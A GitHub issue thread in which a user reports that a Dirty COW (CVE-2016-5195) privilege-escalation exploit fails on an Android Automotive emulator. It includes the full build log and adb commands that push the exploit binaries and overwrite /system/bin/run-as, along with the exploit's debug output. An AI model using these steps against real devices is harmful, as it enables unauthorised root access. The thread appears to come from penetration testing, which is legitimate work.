Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Has anyone tried running this on Android 10 / Android Automotive? #97

Open
vk-gst opened this issue Jun 23, 2020 · 1 comment
Open

Has anyone tried running this on Android 10 / Android Automotive? #97

vk-gst opened this issue Jun 23, 2020 · 1 comment

Comments

@vk-gst
Copy link

vk-gst commented Jun 23, 2020

I am trying to execute this CVE on an Android Automotive Emulator and I have this error:

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_ABI=x86_64 APP_PLATFORM=android-29
make[1]: Entering directory `/home/venky/PenTestDocs/android_pe/CVE-2016-5195'
[x86_64] Compile        : dirtycow <= dirtycow.c
[x86_64] Compile        : dirtycow <= dcow.c
[x86_64] Executable     : dirtycow
[x86_64] Install        : dirtycow => libs/x86_64/dirtycow
[x86_64] Compile        : run-as <= dirtycow.c
[x86_64] Compile        : run-as <= run-as.c
[x86_64] Executable     : run-as
[x86_64] Install        : run-as => libs/x86_64/run-as
make[1]: Leaving directory `/home/venky/PenTestDocs/android_pe/CVE-2016-5195'
adb push libs/x86_64/dirtycow /data/local/tmp/dcow
libs/x86_64/dirtycow: 1 file pushed. 6.6 MB/s (14520 bytes in 0.002s)
adb shell 'chmod 777 /data/local/tmp/dcow'
adb shell 'chmod 777 /data/local/tmp/dcow'
adb push libs/x86_64/run-as /data/local/tmp/run-as
libs/x86_64/run-as: 1 file pushed. 3.7 MB/s (10424 bytes in 0.003s)
adb shell '/data/local/tmp/dcow /data/local/tmp/run-as /system/bin/run-as'
dcow /data/local/tmp/run-as /system/bin/run-as
warning: new file size (10424) and destination file size (15872) differ

[*] size 15872
[*] mmap 0x7033c8256000
[*] currently 0x7033c8256000=10102464c457f
[*] using /proc/self/mem method
[*] madvise = 0x7033c8256000 15872
[*] /proc/self/mem 0 16777216
[*] madvise = 0 8766674
[*] exploited 0 0x7033c8256000=10102464c457f
Makefile:24: recipe for target 'root' failed
make: *** [root] Error 255

Does anyone know what the issue is here?
I can see that the issue is already fixed at Linux kernel's newer versions.

@ROHAN-BAGHEL
Copy link

hello,
if you know how to fix it please let me know as well.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants